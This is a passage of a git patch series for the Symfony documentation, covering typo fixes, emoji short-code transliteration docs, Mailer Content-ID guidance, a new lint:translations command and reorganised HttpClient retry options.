 
-    $builder->add('startTime', 'time', [
+    $builder->add('startTime', TimeType::class, [
         'placeholder' => 'Select a value',
     ]);
 
 Alternatively, you can use an array that configures different placeholder
 values for the hour, minute and second fields::
 
-    $builder->add('startTime', 'time', [
+    $builder->add('startTime', TimeType::class, [
         'placeholder' => [
             'hour' => 'Hour', 'minute' => 'Minute', 'second' => 'Second',
         ],

From 8be7bb3f34064492907af7d1de2eb5b3f27d75de Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 30 May 2024 15:29:28 +0200
Subject: [PATCH 6127/7107] [String] Update the emoji transliteration docs

---
 string.rst | 40 ++++++++++++++++++++++++----------------
 1 file changed, 24 insertions(+), 16 deletions(-)

diff --git a/string.rst b/string.rst
index 9253b89478e..01752fff9c9 100644
--- a/string.rst
+++ b/string.rst
@@ -558,15 +558,20 @@ textual representation in all languages based on the `Unicode CLDR dataset`_::
     $transliterator->transliterate('Menus with 🍕 or 🍝');
     // => 'Menus with піца or спагеті'
 
+Transliterating Emoji Text Short Codes
+......................................
 
-The ``EmojiTransliterator`` also provides special locales that convert emojis to
-short codes and vice versa in specific platforms, such as GitHub, Gitlab and Slack.
-All theses platform are also combined in special locale ``text``.
+Services like GitHub and Slack allows to include emojis in your messages using
+text short codes (e.g. you can add the ``:+1:`` code to render the 👍 emoji).
 
-GitHub Emoji Transliteration
-............................
+Symfony also provides a feature to transliterate emojis into short codes and vice
+versa. The short codes are slightly different on each service, so you must pass
+the name of the service as an argument when creating the transliterator:
 
-Convert GitHub emojis to short codes with the ``emoji-github`` locale::
+GitHub Emoji Short Codes Transliteration
+########################################
+
+Convert emojis to GitHub short codes with the ``emoji-github`` locale::
 
     $transliterator = EmojiTransliterator::create('emoji-github');
     $transliterator->transliterate('Teenage 🐢 really love 🍕');
@@ -578,10 +583,10 @@ Convert GitHub short codes to emojis with the ``github-emoji`` locale::
     $transliterator->transliterate('Teenage :turtle: really love :pizza:');
     // => 'Teenage 🐢 really love 🍕'
 
-Gitlab Emoji Transliteration
-............................
+Gitlab Emoji Short Codes Transliteration
+########################################
 
-Convert Gitlab emojis to short codes with the ``emoji-gitlab`` locale::
+Convert emojis to Gitlab short codes with the ``emoji-gitlab`` locale::
 
     $transliterator = EmojiTransliterator::create('emoji-gitlab');
     $transliterator->transliterate('Breakfast with 🥝 or 🥛');
@@ -593,10 +598,10 @@ Convert Gitlab short codes to emojis with the ``gitlab-emoji`` locale::
     $transliterator->transliterate('Breakfast with :kiwi: or :milk:');
     // => 'Breakfast with 🥝 or 🥛'
 
-Slack Emoji Transliteration
-...........................
+Slack Emoji Short Codes Transliteration
+#######################################
 
-Convert Slack emojis to short codes with the ``emoji-slack`` locale::
+Convert emojis to Slack short codes with the ``emoji-slack`` locale::
 
     $transliterator = EmojiTransliterator::create('emoji-slack');
     $transliterator->transliterate('Menus with 🥗 or 🧆');
@@ -608,19 +613,22 @@ Convert Slack short codes to emojis with the ``slack-emoji`` locale::
     $transliterator->transliterate('Menus with :green_salad: or :falafel:');
     // => 'Menus with 🥗 or 🧆'
 
-Text Emoji Transliteration
-..........................
+Universal Emoji Short Codes Transliteration
+###########################################
 
-If you don't know where short codes come from, you can use the ``text-emoji`` locale.
-This locale will convert Github, Gitlab and Slack short codes to emojis::
+If you don't know which service was used to generate the short codes, you can use
+the ``text-emoji`` locale, which combines all codes from all services::
 
     $transliterator = EmojiTransliterator::create('text-emoji');
+
     // Github short codes
     $transliterator->transliterate('Breakfast with :kiwi-fruit: or :milk-glass:');
     // Gitlab short codes
     $transliterator->transliterate('Breakfast with :kiwi: or :milk:');
     // Slack short codes
     $transliterator->transliterate('Breakfast with :kiwifruit: or :glass-of-milk:');
+
+    // all the above examples produce the same result:
     // => 'Breakfast with 🥝 or 🥛'
 
 You can convert emojis to short codes with the ``emoji-text`` locale::

From ec6b103f4f078163a09e37bfd21a3c76c59f94b2 Mon Sep 17 00:00:00 2001
From: Michael Hirschler <michael@hirschler.me>
Date: Wed, 5 Jun 2024 07:40:51 +0200
Subject: [PATCH 6128/7107] fixes typo

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index af134f4d349..deafa307719 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -944,7 +944,7 @@ The default behavior for browser channel notifications is to add a
 However, you might prefer to map the importance level of the notification to the
 type of flash message, so you can tweak their style.
 
-you can do that by overriding the default ``notifier.flash_message_importance_mapper``
+You can do that by overriding the default ``notifier.flash_message_importance_mapper``
 service with your own implementation of
 :class:`Symfony\\Component\\Notifier\\FlashMessage\\FlashMessageImportanceMapperInterface`
 where you can provide your own "importance" to "alert level" mapping.

From 1484f9dc53b784ac79b1b5cb3f7fd000f07ac92c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Jun 2024 11:40:33 +0200
Subject: [PATCH 6129/7107] Minor tweaks

---
 reference/constraints/Bic.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/Bic.rst b/reference/constraints/Bic.rst
index a6a745e3a76..3f05e5eac25 100644
--- a/reference/constraints/Bic.rst
+++ b/reference/constraints/Bic.rst
@@ -126,10 +126,10 @@ Parameter        Description
 
 **type**: ``string`` **default**: ``strict``
 
-The mode in which the BIC is validated can be defined with this option. Valid values are:
+This option defines how the BIC is validated:
 
-* ``strict`` uses the input BIC and validates it without modification.
-* ``case-insensitive`` converts the input value to uppercase before validating the BIC.
+* ``strict`` validates the given value without any modification;
+* ``case-insensitive`` converts the given value to uppercase before validating it.
 
 .. tip::
 

From fd6262225b0e14b3b35690e24b94f14f56a47e83 Mon Sep 17 00:00:00 2001
From: seb-jean <sebastien.jean76@gmail.com>
Date: Thu, 6 Jun 2024 16:36:12 +0200
Subject: [PATCH 6130/7107] Update csrf.rst

---
 security/csrf.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/csrf.rst b/security/csrf.rst
index 77aad6bf090..11c7b2fc267 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -233,7 +233,7 @@ object evaluated to the id::
     use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid;
     // ...
 
-    #[IsCsrfTokenValid(new Expression('"delete-item-" ~ args["post"].id'), tokenKey: 'token')]
+    #[IsCsrfTokenValid(new Expression('"delete-item-" ~ args["post"].getId()'), tokenKey: 'token')]
     public function delete(Post $post): Response
     {
         // ... do something, like deleting an object

From 1f4115ea993cf1e31f11dc96de64b0ec3da85c47 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 7 Jun 2024 08:53:11 +0200
Subject: [PATCH 6131/7107] fix markup

---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 1c86a111084..6a5790fd48f 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1209,7 +1209,7 @@ Option                          Description
 
 .. versionadded:: 7.1
 
-    The `cdata_wrapping_pattern` option was introduced in Symfony 7.1.
+    The ``cdata_wrapping_pattern`` option was introduced in Symfony 7.1.
 
 Example with custom ``context``::
 

From 468a9acf34c555cd36979e3be3ea0d010854717b Mon Sep 17 00:00:00 2001
From: Andrej Rypo <xrypak@gmail.com>
Date: Fri, 7 Jun 2024 09:36:13 +0200
Subject: [PATCH 6132/7107] [Mailer] Fixed and clarified custom Content-ID
 feature documentation

---
 mailer.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 02c09295319..026b19dcae4 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -658,16 +658,18 @@ images inside the HTML contents::
         ->html('... <div background="cid:footer-signature"> ... </div> ...')
     ;
 
+The actual Content-ID value present in the e-mail source will be randomly generated by Symfony.
+
 You can also use the :method:`DataPart::setContentId() <Symfony\\Component\\Mime\\Part\\DataPart::setContentId>`
 method to define a custom Content-ID for the image and use it as its ``cid`` reference::
 
     $part = new DataPart(new File('/path/to/images/signature.gif'));
-    $part->setContentId('footer-signature');
+    $part->setContentId('footer-signature@my-app');
 
     $email = (new Email())
         // ...
         ->addPart($part->asInline())
-        ->html('... <img src="cid:footer-signature"> ...')
+        ->html('... <img src="cid:footer-signature@my-app"> ...')
     ;
 
 .. versionadded:: 6.1

From f6b21f47c48f29dd6c639008eded2116b9649440 Mon Sep 17 00:00:00 2001
From: homersimpsons <guillaume.alabre@gmail.com>
Date: Sat, 8 Jun 2024 12:27:41 +0000
Subject: [PATCH 6133/7107] :art: Fix precedence table rendering

Use rst grid to get the correct layout. `list-table` directive is not supported.
---
 reference/formats/expression_language.rst | 52 ++++++++++++++---------
 1 file changed, 32 insertions(+), 20 deletions(-)

diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index 1179d78a43c..7918d96dc60 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -436,26 +436,38 @@ parentheses in your expressions (e.g. ``(1 + 2) * 4`` or ``1 + (2 * 4)``.
 The following table summarizes the operators and their associativity from the
 **highest to the lowest precedence**:
 
-=======================================================  =============
-Operators                                                associativity
-=======================================================  =============
-``-``, ``+`` (unary operators that add the number sign)  none
-``**``                                                   right
-``*``, ``/``, ``%``                                      left
-``not``, ``!``                                           none
-``~``                                                    left
-``+``, ``-``                                             left
-``..``                                                   left
-``==``, ``===``, ``!=``, ``!==``, \                      left
-``<``, ``>``, ``>=``, ``<=``, \
-``not in``, ``in``, ``contains``, \
-``starts with``, ``ends with``, ``matches``
-``&``                                                    left
-``^``                                                    left
-``|``                                                    left
-``and``, ``&&``                                          left
-``or``, ``||``                                           left
-=======================================================  =============
++----------------------------------------------------------+---------------+
+| Operators                                                | Associativity |
++==========================================================+===============+
+| ``-`` , ``+`` (unary operators that add the number sign) | none          |
++----------------------------------------------------------+---------------+
+| ``**``                                                   | right         |
++----------------------------------------------------------+---------------+
+| ``*``, ``/``, ``%``                                      | left          |
++----------------------------------------------------------+---------------+
+| ``not``, ``!``                                           | none          |
++----------------------------------------------------------+---------------+
+| ``~``                                                    | left          |
++----------------------------------------------------------+---------------+
+| ``+``, ``-``                                             | left          |
++----------------------------------------------------------+---------------+
+| ``..``                                                   | left          |
++----------------------------------------------------------+---------------+
+| ``==``, ``===``, ``!=``, ``!==``,                        | left          |
+| ``<``, ``>``, ``>=``, ``<=``,                            |               |
+| ``not in``, ``in``, ``contains``,                        |               |
+| ``starts with``, ``ends with``, ``matches``              |               |
++----------------------------------------------------------+---------------+
+| ``&``                                                    | left          |
++----------------------------------------------------------+---------------+
+| ``^``                                                    | left          |
++----------------------------------------------------------+---------------+
+| ``|``                                                    | left          |
++----------------------------------------------------------+---------------+
+| ``and``, ``&&``                                          | left          |
++----------------------------------------------------------+---------------+
+| ``or``, ``||``                                           | left          |
++----------------------------------------------------------+---------------+
 
 Built-in Objects and Variables
 ------------------------------

From 928e2ced75aec525f2555b43ea6bfcfd7992e010 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 10 Jun 2024 08:42:50 +0200
Subject: [PATCH 6134/7107] [Mailer] Minor tweaks

---
 mailer.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index b767a45d562..dca0dde5aad 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -667,8 +667,8 @@ file or stream::
 Use the ``asInline()`` method to embed the content instead of attaching it.
 
 The second optional argument of both methods is the image name ("Content-ID" in
-the MIME standard). Its value is an arbitrary string used later to reference the
-images inside the HTML contents::
+the MIME standard). Its value is an arbitrary string that must be unique in each
+email message and is used later to reference the images inside the HTML contents::
 
     $email = (new Email())
         // ...
@@ -683,11 +683,11 @@ images inside the HTML contents::
     ;
 
 The actual Content-ID value present in the e-mail source will be randomly generated by Symfony.
-
 You can also use the :method:`DataPart::setContentId() <Symfony\\Component\\Mime\\Part\\DataPart::setContentId>`
 method to define a custom Content-ID for the image and use it as its ``cid`` reference::
 
     $part = new DataPart(new File('/path/to/images/signature.gif'));
+    // according to the spec, the Content-ID value must include at least one '@' character
     $part->setContentId('footer-signature@my-app');
 
     $email = (new Email())

From 9472a546a4168e35e75fa7f03638059ea8448aad Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 10 Jun 2024 08:46:24 +0200
Subject: [PATCH 6135/7107] Updated the code example

---
 components/property_access.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/property_access.rst b/components/property_access.rst
index a51f6034145..78b125cd391 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -207,7 +207,7 @@ The ``getValue()`` method can also use the magic ``__get()`` method::
 
         public function __isset($id): bool
         {
-            return array_key_exists($id, $this->children);
+            return isset($this->children[$id]);
         }
     }
 

From 4e2c66de2a9d55be2a2e9174493862e684ce3922 Mon Sep 17 00:00:00 2001
From: svdv22 <svdv@posteo.net>
Date: Tue, 11 Jun 2024 16:33:46 +0200
Subject: [PATCH 6136/7107] Update messenger.rst

shouldFlush-method in documentation wasn't updatet
---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 8cce1d74266..4c43b195377 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2644,7 +2644,7 @@ provided in order to ease the declaration of these special handlers::
         // of the trait to define your own batch size...
         private function shouldFlush(): bool
         {
-            return 100 <= \count($this->jobs);
+            return $this->getBatchSize() <= \count($this->jobs);
         }
 
         // ... or redefine the `getBatchSize()` method if the default

From 191180692ebbbc647b943b0b43db1df8a5dbed73 Mon Sep 17 00:00:00 2001
From: Andrei Karpilin <karpilin@gmail.com>
Date: Tue, 11 Jun 2024 14:31:38 +0100
Subject: [PATCH 6137/7107] Fix indentation in upgrade_major.rst

---
 setup/upgrade_major.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index f75762604ca..7aa0d90c3b7 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -171,8 +171,8 @@ this one. For instance, update it to ``6.0.*`` to upgrade to Symfony 6.0:
       "extra": {
           "symfony": {
               "allow-contrib": false,
-    -       "require": "5.4.*"
-    +       "require": "6.0.*"
+    -         "require": "5.4.*"
+    +         "require": "6.0.*"
           }
       }
 

From 535dc3c145ba7b94e6c671c5ceb50f8362801a20 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 13 Jun 2024 15:51:14 +0200
Subject: [PATCH 6138/7107] Fix a WSL command in the Symfony Server doc

---
 setup/symfony_server.rst | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 424b65cf1b5..5fa3e430b1c 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -111,8 +111,14 @@ words, it does everything for you.
     If you are doing this in WSL (Windows Subsystem for Linux), the newly created
     local certificate authority needs to be manually imported in Windows. The file
     is located in ``wsl`` at ``~/.symfony5/certs/default.p12``. The easiest way to
-    do so is to run ``explorer.exe \`wslpath -w $HOME/.symfony5/certs\``` from ``wsl``
-    and double-click the ``default.p12`` file.
+    do so is to run the following command from ``wsl``:
+
+    .. code-block:: terminal
+
+        $ explorer.exe `wslpath -w $HOME/.symfony5/certs`
+
+    In the file explorer window that just opened, double-click on the file
+    called ``default.p12``.
 
 Before browsing your local application with HTTPS instead of HTTP, restart its
 server stopping and starting it again.

From 0624d24867ba378c160c0c56fa3127490ca2b065 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 13 Jun 2024 16:48:16 +0200
Subject: [PATCH 6139/7107] [ExpressionLanguage] Document the null-coalesce
 operator changes

---
 reference/formats/expression_language.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index c7ce82fb751..818870452a5 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -124,11 +124,10 @@ returns the right-hand side. Expressions can chain multiple coalescing operators
 * ``foo[3] ?? 'no'``
 * ``foo.baz ?? foo['baz'] ?? 'no'``
 
-.. note::
+.. versionadded:: 7.2
 
-    The main difference with the `null-coalescing operator in PHP`_ is that
-    ExpressionLanguage will throw an exception when trying to access a
-    non-existent variable.
+    Starting from Symfony 7.2, no exception is thrown when trying to access a
+    non-existent variable. This is the same behavior as the `null-coalescing operator in PHP`_.
 
 .. _component-expression-functions:
 

From eccdbfd6d9174d6eec7b290ac0746d587fdc2d00 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 13 Jun 2024 18:02:21 +0200
Subject: [PATCH 6140/7107] [Security] Remove an unneeded comment

---
 security/custom_authenticator.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 8cc8236e2fb..7fa55093839 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -342,7 +342,7 @@ would initialize the passport like this::
             $username = $request->getPayload()->get('username');
             $csrfToken = $request->getPayload()->get('csrf_token');
 
-            // ... validate no parameter is empty
+            // ...
 
             return new Passport(
                 new UserBadge($username),

From e10c0684540e04da3d1b4705433da8b452081d22 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 13 Jun 2024 19:36:02 +0200
Subject: [PATCH 6141/7107] Add link translation provider

---
 translation.rst | 31 +++++++++++++++++--------------
 1 file changed, 17 insertions(+), 14 deletions(-)

diff --git a/translation.rst b/translation.rst
index 412d3aa3c5e..1d43c3b2b1c 100644
--- a/translation.rst
+++ b/translation.rst
@@ -601,13 +601,13 @@ Installing and Configuring a Third Party Provider
 Before pushing/pulling translations to a third-party provider, you must install
 the package that provides integration with that provider:
 
-====================  ===========================================================
-Provider              Install with
-====================  ===========================================================
-Crowdin               ``composer require symfony/crowdin-translation-provider``
-Loco (localise.biz)   ``composer require symfony/loco-translation-provider``
-Lokalise              ``composer require symfony/lokalise-translation-provider``
-====================  ===========================================================
+======================  ===========================================================
+Provider                Install with
+======================  ===========================================================
+`Crowdin`_              ``composer require symfony/crowdin-translation-provider``
+`Loco (localise.biz)`_  ``composer require symfony/loco-translation-provider``
+`Lokalise`_             ``composer require symfony/lokalise-translation-provider``
+======================  ===========================================================
 
 Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add
 a configuration example to your ``.env`` file. For example, suppose you want to
@@ -632,13 +632,13 @@ pull translations via Loco. The *only* part you need to change is the
 
 This table shows the full list of available DSN formats for each provider:
 
-=====================  ==============================================================
-Provider               DSN
-=====================  ==============================================================
-Crowdin                ``crowdin://PROJECT_ID:API_TOKEN@ORGANIZATION_DOMAIN.default``
-Loco (localise.biz)    ``loco://API_KEY@default``
-Lokalise               ``lokalise://PROJECT_ID:API_KEY@default``
-=====================  ==============================================================
+======================  ==============================================================
+Provider                DSN
+======================  ==============================================================
+`Crowdin`_               ``crowdin://PROJECT_ID:API_TOKEN@ORGANIZATION_DOMAIN.default``
+`Loco (localise.biz)`_  ``loco://API_KEY@default``
+`Lokalise`_             ``lokalise://PROJECT_ID:API_KEY@default``
+======================  ==============================================================
 
 To enable a translation provider, customize the DSN in your ``.env`` file and
 configure the ``providers`` option:
@@ -1476,3 +1476,6 @@ Learn more
 .. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions
 .. _`pseudolocalization`: https://en.wikipedia.org/wiki/Pseudolocalization
 .. _`Symfony Demo`: https://github.com/symfony/demo
+.. _`Crowdin`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Translation/Bridge/Crowdin/README.md
+.. _`Loco (localise.biz)`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Translation/Bridge/Loco/README.md
+.. _`Lokalise`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Translation/Bridge/Lokalise/README.md

From 00854911226a5f2ec7299e0e0345fcaacba110ac Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 13 Jun 2024 17:34:08 +0200
Subject: [PATCH 6142/7107] [Translation] Document `lint:translations` command

---
 translation.rst | 18 +++++++++++++++++-
 1 file changed, 17 insertions(+), 1 deletion(-)

diff --git a/translation.rst b/translation.rst
index 891f00845cb..0fbd155cfd7 100644
--- a/translation.rst
+++ b/translation.rst
@@ -1343,7 +1343,7 @@ Symfony processes all the application translation files as part of the process
 that compiles the application code before executing it. If there's an error in
 any translation file, you'll see an error message explaining the problem.
 
-If you prefer, you can also validate the contents of any YAML and XLIFF
+If you prefer, you can also validate the syntax of any YAML and XLIFF
 translation file using the ``lint:yaml`` and ``lint:xliff`` commands:
 
 .. code-block:: terminal
@@ -1384,6 +1384,22 @@ adapted to the format required by GitHub, but you can force that format too:
 
         $ php vendor/bin/yaml-lint translations/
 
+The ``lint:yaml`` and ``lint:xliff`` commands validate the YAML and XML syntax
+of the translation files, but not their contents. Use the following command
+to check that the translation contents are also correct:
+
+    .. code-block:: terminal
+
+        # checks the contents of all the translation catalogues in all locales
+        $ php bin/console lint:translations
+
+        # checks the contents of the translation catalogues for Italian (it) and Japanese (ja) locales
+        $ php bin/console lint:translations --locales=it --locales=ja
+
+.. versionadded:: 7.2
+
+    The ``lint:translations`` command was introduced in Symfony 7.2.
+
 Pseudo-localization translator
 ------------------------------
 

From e751fe569cbf9044fb9ff15b80212055edb99491 Mon Sep 17 00:00:00 2001
From: Davi Alexandre <davi@davialexandre.com.br>
Date: Fri, 14 Jun 2024 07:40:26 -0300
Subject: [PATCH 6143/7107] Fix typo in messenger.rst

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 4c43b195377..03e09b8260a 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -3424,7 +3424,7 @@ You can also restrict the list to a specific bus by providing its name as an arg
 Redispatching a Message
 -----------------------
 
-It you want to redispatch a message (using the same transport and envelope), create
+If you want to redispatch a message (using the same transport and envelope), create
 a new :class:`Symfony\\Component\\Messenger\\Message\\RedispatchMessage` and dispatch
 it through your bus. Reusing the same ``SmsNotification`` example shown earlier::
 

From 9bea798f5c23ffbc17fa78e45aaa9e0bc67342cd Mon Sep 17 00:00:00 2001
From: Andrey Bolonin <andreybolonin@users.noreply.github.com>
Date: Sat, 15 Jun 2024 16:17:15 +0300
Subject: [PATCH 6144/7107] Update access_token.rst

---
 security/access_token.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/security/access_token.rst b/security/access_token.rst
index df02f3da6bc..c798befbd30 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -78,6 +78,7 @@ This handler must implement
     namespace App\Security;
 
     use App\Repository\AccessTokenRepository;
+    use Symfony\Component\Security\Core\Exception\BadCredentialsException;
     use Symfony\Component\Security\Http\AccessToken\AccessTokenHandlerInterface;
     use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
 

From 29bdb1612d2a3d7387cad50228cbe226623ea4ec Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Jun 2024 10:36:30 +0200
Subject: [PATCH 6145/7107] Update the version constraints

---
 setup.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index 5cf3d2f90ab..d8196e71b7b 100644
--- a/setup.rst
+++ b/setup.rst
@@ -48,10 +48,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version="7.2.*" --webapp
+    $ symfony new my_project_directory --version="7.2.x-dev" --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version="7.2.*"
+    $ symfony new my_project_directory --version="7.2.x-dev"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs extra packages to give
@@ -63,12 +63,12 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/skeleton:"7.2.*" my_project_directory
+    $ composer create-project symfony/skeleton:"7.2.x-dev" my_project_directory
     $ cd my_project_directory
     $ composer require webapp
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"7.2.*" my_project_directory
+    $ composer create-project symfony/skeleton:"7.2.x-dev" my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_directory/`` directory, download some dependencies

From fd7b8eac82104bb10eb8ecc8791d3d7dd75a2b34 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Jun 2024 13:26:52 +0200
Subject: [PATCH 6146/7107] Add the versionadded directive

---
 security/access_token.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/security/access_token.rst b/security/access_token.rst
index d0ed785ad31..8661a226a73 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -709,6 +709,10 @@ create your own User from the claims, you must
 Using CAS 2.0
 -------------
 
+.. versionadded:: 7.1
+
+    The support for CAS token handlers was introduced in Symfony 7.1.
+
 `Central Authentication Service (CAS)`_ is an enterprise multilingual single
 sign-on solution and identity provider for the web and attempts to be a
 comprehensive platform for your authentication and authorization needs.
@@ -724,7 +728,7 @@ haven't installed it yet, run this command:
 
     $ composer require symfony/http-client
 
-You can configure a ``cas`` ``token_handler``:
+You can configure a ``cas`` token handler as follows:
 
 .. configuration-block::
 

From 570436375f7d55f4bbb634f4de9452358d55544c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Jun 2024 13:49:09 +0200
Subject: [PATCH 6147/7107] [HttpClient] Reorganize the docs about the
 retry_failed option

---
 reference/configuration/framework.rst | 95 +++++++++++++++++----------
 1 file changed, 60 insertions(+), 35 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index ace44982dbd..c053fe3503f 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -887,41 +887,6 @@ If you use for example
 as the type and name of an argument, autowiring will inject the ``my_api.client``
 service into your autowired classes.
 
-.. _reference-http-client-retry-failed:
-
-By enabling the optional ``retry_failed`` configuration, the HTTP client service
-will automatically retry failed HTTP requests.
-
-.. code-block:: yaml
-
-    # config/packages/framework.yaml
-    framework:
-        # ...
-        http_client:
-            # ...
-            default_options:
-                retry_failed:
-                    # retry_strategy: app.custom_strategy
-                    http_codes:
-                        0: ['GET', 'HEAD']   # retry network errors if request method is GET or HEAD
-                        429: true            # retry all responses with 429 status code
-                        500: ['GET', 'HEAD']
-                    max_retries: 2
-                    delay: 1000
-                    multiplier: 3
-                    max_delay: 5000
-                    jitter: 0.3
-
-            scoped_clients:
-                my_api.client:
-                    # ...
-                    retry_failed:
-                        max_retries: 4
-
-.. versionadded:: 5.2
-
-    The ``retry_failed`` option was introduced in Symfony 5.2.
-
 auth_basic
 ..........
 
@@ -1024,6 +989,8 @@ ciphers
 A list of the names of the ciphers allowed for the SSL/TLS connections. They
 can be separated by colons, commas or spaces (e.g. ``'RC4-SHA:TLS13-AES-128-GCM-SHA256'``).
 
+.. _reference-http-client-retry-delay:
+
 delay
 .....
 
@@ -1055,6 +1022,8 @@ headers
 An associative array of the HTTP headers added before making the request. This
 value must use the format ``['header-name' => 'value0, value1, ...']``.
 
+.. _reference-http-client-retry-http-codes:
+
 http_codes
 ..........
 
@@ -1074,6 +1043,8 @@ http_version
 The HTTP version to use, typically ``'1.1'``  or ``'2.0'``. Leave it to ``null``
 to let Symfony select the best version automatically.
 
+.. _reference-http-client-retry-jitter:
+
 jitter
 ......
 
@@ -1105,6 +1076,8 @@ local_pk
 The path of a file that contains the `PEM formatted`_ private key of the
 certificate defined in the ``local_cert`` option.
 
+.. _reference-http-client-retry-max-delay:
+
 max_delay
 .........
 
@@ -1143,6 +1116,8 @@ max_redirects
 The maximum number of redirects to follow. Use ``0`` to not follow any
 redirection.
 
+.. _reference-http-client-retry-max-retries:
+
 max_retries
 ...........
 
@@ -1155,6 +1130,8 @@ max_retries
 The maximum number of retries for failing requests. When the maximum is reached,
 the client returns the last received response.
 
+.. _reference-http-client-retry-multiplier:
+
 multiplier
 ..........
 
@@ -1226,6 +1203,54 @@ client and to make your tests easier.
 The value of this option is an associative array of ``domain => IP address``
 (e.g ``['symfony.com' => '46.137.106.254', ...]``).
 
+.. _reference-http-client-retry-failed:
+
+retry_failed
+............
+
+**type**: ``array``
+
+.. versionadded:: 5.2
+
+    The ``retry_failed`` option was introduced in Symfony 5.2.
+
+This option configures the behavior of the HTTP client when some request fails,
+including which types of requests to retry and how many times. The behavior is
+defined with the following options:
+
+* :ref:`delay <reference-http-client-retry-delay>`
+* :ref:`http_codes <reference-http-client-retry-http-codes>`
+* :ref:`jitter <reference-http-client-retry-jitter>`
+* :ref:`max_delay <reference-http-client-retry-max-delay>`
+* :ref:`max_retries <reference-http-client-retry-max-retries>`
+* :ref:`multiplier <reference-http-client-retry-multiplier>`
+
+.. code-block:: yaml
+
+    # config/packages/framework.yaml
+    framework:
+        # ...
+        http_client:
+            # ...
+            default_options:
+                retry_failed:
+                    # retry_strategy: app.custom_strategy
+                    http_codes:
